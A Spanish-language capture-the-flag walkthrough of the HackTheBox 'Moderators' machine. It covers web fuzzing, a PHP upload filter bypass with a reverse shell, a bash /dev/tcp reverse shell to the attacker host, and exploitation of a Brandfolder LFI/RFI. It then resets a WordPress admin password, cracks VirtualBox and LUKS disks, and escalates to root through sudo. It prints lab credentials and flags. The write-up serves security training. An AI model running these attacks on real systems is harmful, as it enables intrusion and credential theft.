Conocimientos
-
Enumeración Web
-
Information Disclosure
-
Bypass de Restricciones (Subida de archivo PHP)
-
Port Forwarding
-
Abuso de servicio web interno
-
Cambio de contraseña de Wordpress a través de MySQL
-
Enumeración de Imagen de VirtualBox
-
Cracking disco Virtualbox
-
Preparación de la máquina para que este operativa
-
Intento de montura en la máquina (Fallido - No credenciales)
-
Cracking Luks
-
Montura en local de disco luks
-
Information Disclosure (Password)
-
Abuso de Privilegios Sudoers (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.173 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-03 10:11 GMT
Nmap scan report for 10.10.11.173
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 12.71 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.11.173 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-03 10:11 GMT
Nmap scan report for 10.10.11.173
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 390316061130a0b0c2917988d3931b3e (RSA)
| 256 51945c593bbdbcb6267aef837f4cca7d (ECDSA)
|_ 256 a56d03fa6cf5b94aa2a1b6bdbc604231 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Moderators
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.31 seconds
Puerto 80 (HTTP)
Con whatweb, analizo las tecnologías que está empleando el servidor web
whatweb http://10.10.11.173
http://10.10.11.173 [200 OK] Apache[2.4.41], Bootstrap[3.3.7], Country[RESERVED][ZZ], Frame, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.173], JQuery[3.2.1], Script, Title[Moderators]
La página principal tiene el siguiente aspecto
Aplico fuzzing con Gobuster para encontrar rutas y directorios, pero no encuentro nada de interés
gobuster dir -u http://10.10.11.173 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30 -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.173
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/02/03 10:15:52 Starting gobuster in directory enumeration mode
===============================================================
/blog.php (Status: 200) [Size: 13163]
/images (Status: 301) [Size: 313] [--> http://10.10.11.173/images/]
/reports.php (Status: 302) [Size: 7888] [--> index.php]
/index.php (Status: 200) [Size: 11150]
/contact.php (Status: 200) [Size: 10084]
/about.php (Status: 200) [Size: 11539]
/service.php (Status: 200) [Size: 9411]
/css (Status: 301) [Size: 310] [--> http://10.10.11.173/css/]
/logs (Status: 301) [Size: 311] [--> http://10.10.11.173/logs/]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
/send_mail.php (Status: 302) [Size: 0] [--> /contact.php?msg=Email sent]
En el código fuente hay una función comentada
En la sección de reportes, se está apuntando a cada recurso con un número identifidador
Con wfuzz, aplico fuerza bruta y filtro solo por aquellos recursos que tengan contenido
wfuzz -c -t 200 --hh=7888 -z range,1-100000 "http://10.10.11.173/reports.php?report=FUZZ"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.173/reports.php?report=FUZZ
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002589: 200 274 L 523 W 9786 Ch "2589"
000003478: 200 275 L 526 W 9831 Ch "3478"
000004221: 200 273 L 523 W 9880 Ch "4221"
000007612: 200 275 L 523 W 9790 Ch "7612"
000008121: 200 273 L 522 W 9784 Ch "8121"
000009798: 200 276 L 525 W 9887 Ch "9798"
Total time: 0
Processed Requests: 100000
Filtered Requests: 99994
Requests/sec.: 0
En la sección de servicios, indican que los reportes se han de subir en formato PDF
Para todos los IDs que ha descubierto wfuzz, tramito una petición GET para ver su contenido
for id in 2589 3478 4221 7612 8121 9798; do echo -e "\n[+] ID"; curl -s -X GET "http://10.10.11.173/reports.php?report=$id" | html2text; done
En uno de ellos se puede ver una ruta dentro de /logs
Report #9798
# Disclosure Information [+] Domain : bethebest101.uk.htb
[+] Vulnerability : Sensitive Information Disclosure
[+] Impact : 3.5/4.0
[+] Disclosed by : Karlos Young
[+] Disclosed on : 11/19/2021
[+] Posted on :
[+] Approved :
[+] Patched : NO
[+] LOGS : logs/e21cece511f43a5cb18d4932429915ed/
Existe, pero no tiene contenido visible
curl -s -X GET "http://10.10.11.173/logs/e21cece511f43a5cb18d4932429915ed/"
curl -s -X GET "http://10.10.11.173/logs/e21cece511f43a5cb18d4932429915ed/" -I | grep HTTP
HTTP/1.1 200 OK
Parece MD5, así que intento romperlo
john -w:/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
9798 (?)
1g 0:00:00:00 DONE (2023-02-03 10:39) 1.724g/s 19906Kp/s 19906Kc/s 19906KC/s 97Gecko37..9797656
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Su valor coincide con el número de reporte. Aplico fuerza bruta en esa ruta, con la extensión PDF, porque todos los reportes están en este formato, según había visto
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://10.10.11.173/logs/e21cece511f43a5cb18d4932429915ed/FUZZ.pdf"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.173/logs/e21cece511f43a5cb18d4932429915ed/FUZZ.pdf
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002257: 200 219 L 906 W 9717 Ch "logs"
Como tengo varios identificadores válidos, puedo intentar crear un hash MD5 y descargarme los PDFs, con el fin de encontrar información privilegiada
for id in 2589 3478 4221 7612 8121 9798; do echo -n $id | md5sum | awk '{print $1}'; done
743c41a921516b04afde48bb48e28ce6
b071cfa81605a94ad80cfa2bbc747448
74d90aafda34e6060f9e8433962d14fd
ce5d75028d92047a9ec617acb9c34ce6
afecc60f82be41c1b52f6705ec69e0f1
e21cece511f43a5cb18d4932429915ed
Solo uno tiene contenido de interés
Abro esa nueva ruta para ver si existe
Tengo un formulario de subida de archivos. Dentro de /logs hay un directorio /uploads, al que tengo acceso
gobuster dir -u http://10.10.11.173/logs -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.173/logs
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/03 10:55:32 Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 319] [--> http://10.10.11.173/logs/uploads/]
Intento subir un script en PHP, pero de primeras está restringido
Intercepto la petición con BurpSuite y le modifico los magic numbers, el nombre para que contenga la extensión PDF y el Content-Type
A la hora de ejecutar comandos, no los interpreta. También probé a enviarme una traza ICMP para asegurarme de que el problema no era la representación
Modifico el script para que contenga una función más simple, como un echo
%PDF-1.5 %âãÏÓ
<?php
echo "Testing";
?>
Teniendo esto en consideración, puedo tratar de subir un código obfuscado para así ejecutar comandos. Miro el PHPinfo para encontrar las funciones bloqueadas
Me descargo una función que me automatice la reverse shell en PHP, modificando la IP y el puerto hacia donde va dirijida y la subo al servidor
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Gano acceso al sistema como www-data
nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.173.
Ncat: Connection from 10.10.11.173:38738.
Linux moderators 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
11:31:00 up 1:26, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Para no estar desde una sh, me envío otra por bash
$ bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1' & disown
nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.173.
Ncat: Connection from 10.10.11.173:38762.
bash: cannot set terminal process group (1000): Inappropriate ioctl for device
bash: no job control in this shell
www-data@moderators:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@moderators:/$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@moderators:/$ export TERM=xterm
www-data@moderators:/$ export SHELL=bash
Escalada
En el directorio /opt hay un WordPress montado cuyo propietario es lexi y como grupo asignado está moderators
www-data@moderators:/opt/site.new$ ls -la
total 228
drwxr-xr-x 5 lexi moderators 4096 Jul 14 2022 .
drwxr-xr-x 3 root root 4096 Jul 14 2022 ..
-rw-r--r-- 1 lexi moderators 405 Sep 11 2021 index.php
-rw-r--r-- 1 lexi moderators 19915 Jan 29 2022 license.txt
-rw-r--r-- 1 lexi moderators 7437 Jan 29 2022 readme.html
...
El puerto 8080 está abierto internamente
www-data@moderators:/opt/site.new$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 2 0 127.0.0.1:8080 0.0.0.0:* LISTEN
Me lo traigo a mi equipo por SOCKS5 con chisel
Primero creo el servidor
chisel server -p 1234 --reverse
Desde la máquina víctima me conecto
www-data@moderators:/dev/shm$ ./chisel client 10.10.14.7:1234 R:socks &>/dev/null & disown
Se está aplicando Virtual Hosting, así que añado el dominio moderators.htb apuntando al localhost y en el navegador, añado un proxy en el addon FoxyProxy
Así carga correctamente
Como ya estoy dentro de la máquina víctima, puedo ver directamente los plugins que están instalados y ahorrarme la fuerza bruta
www-data@moderators:/opt/site.new/wp-content/plugins$ ls
brandfolder index.php passwords-manager
Encuentro un LFI
searchsploit brandfolder
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Brandfolder 3.0 - Local/Remote File Inclusion | php/webapps/39591.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
En el exploit explican en que consiste
$_REQUEST is based on the user input, so as you can guess,
an attacker can depending on the context, host on a malicious server
a file called wp-load.php, and disable its execution using an htaccess, or
abuse the null byte character ( %00, %2500 url-encoded)
II-Proof of concept
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=LFI/RFI
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=http://evil/
En el directorio /uploads, creo un script que se llame wp-load.php y lo llamo abusando del LFI, pudiendo así ejecutar comandos
www-data@moderators:/var/www/html/logs/uploads$ cat wp-load.php
<?php
system("whoami");
?>
www-data@moderators:/var/www/html/logs/uploads$ curl -s -X GET "http://localhost:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/"
lexi
Me envío una reverse shell y gano acceso como este usuario
nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.173.
Ncat: Connection from 10.10.11.173:40634.
bash: cannot set terminal process group (832): Inappropriate ioctl for device
bash: no job control in this shell
lexi@moderators:/opt/site.new/wp-content/plugins/brandfolder$ script /dev/null -c bash
<ntent/plugins/brandfolder$ script /dev/null -c bash
Script started, file is /dev/null
lexi@moderators:/opt/site.new/wp-content/plugins/brandfolder$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
<ew/wp-content/plugins/brandfolder$ export TERM=xterm
lexi@moderators:/opt/site.new/wp-content/plugins/brandfolder$ export SHELL=bash
ns 209oderators:/opt/site.new/wp-content/plugins/brandfolder$ stty rows 56 colum
lexi@moderators:/opt/site.new/wp-content/plugins/brandfolder$
Puedo ver la primera flag
lexi@moderators:~$ cat user.txt
933a184acac3c6eccd16d914830798c5
Ahora puedo ver el contenido de los archivos del WordPress. Dentro de wp-config.php hay credenciales de acceso a la base de datos
/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'wordpresspassword123!!' );
En la base de datos hay credenciales hasheadas
MariaDB [wordpress]> select user_email,user_pass from wp_users;
+----------------------+------------------------------------+
| user_email | user_pass |
+----------------------+------------------------------------+
| admin@moderators.htb | $P$BXasOiM52pOUIRntJTPVlMoH0ZlntT0 |
| lexi@moderators.htb | $P$BZ0Fj92qgnvg4F52r3lpwHejcXag461 |
+----------------------+------------------------------------+
Para no tener que crackearla que puede que incluso no llegue a la contraseña en texto claro, puedo cambiarsela directamente, ya que estoy como el usuario lexi que es el que corre el servidor web
Utilizo una herramienta online para general el hash
Se la cambio al usuario admin
MariaDB [wordpress]> UPDATE `wp_users` SET `user_pass` = '$P$BbFxEF1rl30B/RboQFmBXdjmt97cZh1' WHERE user_login = 'admin';
Query OK, 1 row affected (0.003 sec)
Rows matched: 1 Changed: 1 Warnings: 0
Entro en el Wordpress con la contraseña que he definido
Hay una sección con contraseñas
Está almacenada la id_rsa del usuario john
Almaceno la id_rsa, le asigno el privilegio 600 y me conecto como este usuario
ssh john@10.10.11.173 -i id_rsa
john@moderators:~$
Dentro del directorio stuff hay un directorio de VirtualBox, con una máquina virtual
john@moderators:~/stuff$ ls
exp VBOX
john@moderators:~/stuff$ cd VBOX/
john@moderators:~/stuff/VBOX$ ls
2019-08-01.vbox 2019.vdi
En el archivo de configuración, se puede ver que el disco está cifrado
<Property name="CRYPT/KeyId" value="Moderator 1"/>
<Property name="CRYPT/KeyStore" value="U0NORQABQUVTLVhUUzI1Ni1QTEFJTjY0AAAAAAAAAAAAAAAAAABQQktERjItU0hB MjU2AAAAAAAAAAAAAAAAAAAAAAAAAEAAAABUQgV7yASjqRRgfezqVXSqcDjNzg1J jH/ENK/ozVskTyAAAADpYIvN2MBwhohZoxyfHl5d6YterYwh8lwMQ+5peBbjLCBO AABUYpGmB0lDsJbqgNsq451Bed5tHD8X6iXWLmJ6v6f7y2A9CABAAAAAo4alQy6T jyDI+8mvRgp4wXkMGavRxR6cC+ckk5yUgVhhgPxKNBNdhIHkNtjBMrj0uaVQ3ksk gwC6MrGLZFhl1g=="/>
Me transfiero los archivos a mi equipo
En la máquina víctima
john@moderators:~/stuff/VBOX$ nc 10.10.14.7 443 < 2019-08-01.vbox
En mi máquina
```null
nc -nlvp 443 > 2019-08-01.vbox
nc -nlvp 443 > 2019.vd1
Para poder importarla en VirtualBox, hay que cambiar la etiqueta donde se indica la ruta donde se encuentra el disco.
<HardDisk uuid="{12b147da-5b2d-471f-9e32-a32b1517ff4b}" location="/home/rubbx/Desktop/HTB/Machines/Moderators/2019.vdi" format="VDI" type="Normal">
Añado la máquina a VirtualBox
Aparecerá un error, y no lo puedo solucionar. Creo que es porque la máquina está encriptada, pero el VirtualBox no lo reconoce, ya que esa opción está desactiva y para habilitarla necesito saber la contraseña que por ahora no la tengo
Para poder desencriptar el disco, necesito pasarle el UUID al tool de VirtualBox
VBoxManage encryptmedium
Usage:
VBoxManage encryptmedium <uuid|filename>
[--newpassword <file>|-]
[--oldpassword <file>|-]
[--cipher <cipher identifier>]
[--newpasswordid <password identifier>]
Lo puedo extraer del archivo de configuración
cat 2019-08-01.vbox | grep -i uuid
<Machine uuid="{528b3540-b8be-4677-b43f-7f4969137747}" name="Moderator 1" OSType="Ubuntu_64" snapshotFolder="Snapshots" lastStateChange="2021-09-15T16:44:57Z">
<HardDisk uuid="{12b147da-5b2d-471f-9e32-a32b1517ff4b}" location="2019.vdi" format="VDI" type="Normal">
<Image uuid="{7653d755-c513-4004-8891-be83fc130dba}" location="F:/ubuntu-22.04-desktop-amd64.iso"/>
<SmbiosUuidLittleEndian enabled="true"/>
<Image uuid="{12b147da-5b2d-471f-9e32-a32b1517ff4b}"/>
Como también necesito la contraseña, creo un hash para poder romperlo por fuerza bruta. Utilizo un script en python que se encarga de generarlo
wget https://gitcode.net/mirrors/hashcat/hashcat/-/raw/master/tools/virtualbox2hashcat.py
python3 virtualbox2hashcat.py --vbox 2019-08-01.vbox
$vbox$0$540000$546291a6074943b096ea80db2ae39d4179de6d1c3f17ea25d62e627abfa7fbcb$16$a386a5432e938f20c8fbc9af460a78c1790c19abd1c51e9c0be724939c9481586180fc4a34135d8481e436d8c132b8f4b9a550de4b248300ba32b18b645865d6$20000$e9608bcdd8c070868859a31c9f1e5e5de98b5ead8c21f25c0c43ee697816e32c$5442057bc804a3a914607decea5574aa7038cdce0d498c7fc434afe8cd5b244f
En mi máquina host tengo los drivers CUDA instalados, así que crackeo desde allí
Desde el Kali también se puede y no tarda tanto
hashcat hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 3494/7053 MB (1024 MB allocatable), 4MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
27600 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS) | Full-Disk Encryption (FDE)
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
* (null)
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$vbox$0$540000$546291a6074943b096ea80db2ae39d4179de6d1c3f17ea25d62e627abfa7fbcb$16$a386a5432e938f20c8fbc9af460a78c1790c19abd1c51e9c0be724939c9481586180fc4a34135d8481e436d8c132b8f4b9a550de4b248300ba32b18b645865d6$20000$e9608bcdd8c070868859a31c9f1e5e5de98b5ead8c21f25c0c43ee697816e32c$5442057bc804a3a914607decea5574aa7038cdce0d498c7fc434afe8cd5b244f:computer
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 27600 (VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS))
Hash.Target......: $vbox$0$540000$546291a6074943b096ea80db2ae39d4179de...5b244f
Time.Started.....: Fri Feb 3 14:05:14 2023 (15 secs)
Time.Estimated...: Fri Feb 3 14:05:29 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 18 H/s (14.17ms) @ Accel:64 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 256/14344385 (0.00%)
Rejected.........: 0/256 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:19968-19999
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> freedom
Hardware.Mon.#1..: Util: 85%
Started: Fri Feb 3 14:04:08 2023
Stopped: Fri Feb 3 14:05:30 2023
Convierto una imagen ISO de ubuntu a formato VDI
VBoxManage convertfromraw ubuntu-22.04.1-live-server-amd64.iso ubuntu-22.04.1-live-server-amd64.vdi
Converting from raw image file="ubuntu-22.04.1-live-server-amd64.iso" to file="ubuntu-22.04.1-live-server-amd64.vdi"...
Creating dynamic image with size 1474873344 bytes (1407MB).
mv ubuntu-22.04.1-live-server-amd64.vdi Ubuntu.vdi
Si intento ejecutar de nuevo la máquina, me aparece un error y eso es porque hay que cambiar el UUID de la nueva imagen en el archivo de configuración y el ubuntu server no tiene versión de prueba, así que descargo una de escritorio
VBoxManage convertfromraw ubuntu-22.04.1-desktop-amd64.iso --uuid ab3423f1-b7c3-459e-975a-5dc8211ec5f1 Ubuntu.vdi
Converting from raw image file="ubuntu-22.04.1-desktop-amd64.iso" to file="Ubuntu.vdi"...
Creating dynamic image with size 3826831360 bytes (3650MB)...
Una vez arranca correctamente la máquina virtual, le introduzco la contraseña de antes
En la versión de prueba, sin instalar nada, puedo ver varios discos lógicos
Pero al tratar de montarlo no me reconoce el sistema de ficheros
Al intentar descifrarlo me pide una contraseña, y no sirve la de antes
Con los tools de VirtualBox, hago un decrypt del disco, con idea de crear una montura en mi equipo
VBoxManage encryptmedium "{12b147da-5b2d-471f-9e32-a32b1517ff4b}" --oldpassword -
Enter old password:
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
En este artículo explican todo paso a paso
sudo apt install qemu-block-extra
sudo rmmod nbd
sudo modprobe nbd max_part=16
sudo qemu-nbd -c /dev/nbd0 2019.vdi
mkdir /tmp/root
Empiezan los errores, que es el mismo problema que tuve desde la máquina Ubuntu
sudo mount /dev/nbd0 /tmp/root
mount: /tmp/root: unknown filesystem type 'crypto_LUKS'.
dmesg(1) may have more information after failed mount system call.
Así que al final si que voy a tener que crackear el passphrase.
Me descargo una herramienta que lo automatiza
wget https://github.com/Diverto/cryptsetup-pwguess/releases/download/v1.0.0/bruteforce-luks-static-linux-amd64
chmod +x bruteforce-luks-static-linux-amd64
./bruteforce-luks-static-linux-amd64 -f /usr/share/wordlists/rockyou.txt /dev/nbd0
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
Tried passwords: 9
Tried passwords per second: 0.333333
Last tried password: abc123
Password found: abc123
El crackeo es muy lento, pero al final encuentra la contraseña, está en la novena línea
Ahora cambio un poco la forma de la montura
sudo apt-get install cryptsetup
sudo cryptsetup luksOpen /dev/nbd0 pwned
Enter passphrase for /dev/nbd0:
Esto crea un enlace simbólico que hace accesible a la montura sin proporcionar la contraseña
ls -l /dev/mapper
crw------- root root 0 B Fri Feb 3 15:54:06 2023 control
lrwxrwxrwx root root 7 B Fri Feb 3 15:54:15 2023 pwned ⇒ ../dm-0
Creo la montura y me desplazo
mount /dev/mapper/pwned /tmp/root
Dentro hay muchos scripts, principalmente de bash. Si filtro por la cadena pass, encuentro una cadena que llama la atención
ind . -name \*.sh | xargs cat | grep -i pass
proxy_pass http://unix:/home/$username/public_html/$username.sock;
echo -e "\n\nJenkins installation is complete.\nAccess the Jenkins interface from http://$local_ip:8080\nThe default password is located at '/var/lib/jenkins/secrets/initialAdminPassword'\n\nExiting..."
proxy_pass http://unix:/home/$username/public_html/$username.sock;
echo -e "\n\n######################\n Enter the password for the Nagios Admin - 'nagiosadmin'\n######################\n\n"
htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin
echo -e "\nInstallation Complete..\nLogin using the URL: http://$ipaddr/nagios\nUsername:nagiosadmin\nPassword:<set up earlier>"
# Script to generate random passwords using openssl #
# Usage: ./passgen.sh <number of passwords> <length of passwords> #
pass_num=$1
[ -n "$pass_num" ] || pass_num=1
pass_len=$2
[ -n "$pass_len" ] || pass_len=16
for i in $(seq 1 $pass_num);
openssl rand -base64 48 | cut -c1-${pass_len};
PASSWORD=password$i
sudo adduser --quiet --disabled-password --gecos "" $USERNAME
echo "$USERNAME:$PASSWORD" | sudo chpasswd
sudo mount -t cifs //$STORAGE_NAME.file.core.windows.net/$FILESHARE_NAME $MOUNT_POINT -o vers=3.0,username=$STORAGE_NAME,password=$STORAGE_KEY,dir_mode=0777,file_mode=0777
//$STORAGE_NAME.file.core.windows.net/$FILESHARE_NAME $MOUNT_POINT cifs vers=3.0,username=$STORAGE_NAME,password=$STORAGE_KEY,dir_mode=0777,file_mode=0777
passwd='$_THE_best_Sysadmin_Ever_'
echo "Enter password for Jupyter notebook"
python -c "import IPython;print(IPython.lib.passwd())" > SHA1_FILE
sed -i "s|#c.NotebookApp.password = ''|c.NotebookApp.password = '$SHA1'|" $JUPYTER_CONF
Pertence a este script
#!/bin/bash
#
# This script configure some global options in git like aliases, credential helper,
# user name and email. Tested in Ubuntu and Mac.
#
# Method of use:
# source git_configure.sh
#
echo ""
echo "Installing updates.."
passwd='$_THE_best_Sysadmin_Ever_'
echo $paswd|sudo apt-get update
echo "Uprgading..."
echo $paswd|sudo apt-get -y upgrade
Pruebo si es la contraseña de john y si tengo privilegios a nivel de sudoers
ssh john@10.10.11.173 -i id_rsa
Last login: Fri Feb 3 13:34:27 2023 from 10.10.14.7
john@moderators:~$ export TERM=xterm
john@moderators:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on moderators:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on moderators:
(root) ALL
john@moderators:~$
Como puedo ejecutar cualquier comando como el usuario root, spawneo una bash y visualizo la segunda flag
john@moderators:~$ sudo su
root@moderators:/home/john# cat /root/root.txt
b5c031654e91223edc1a2ab50415b312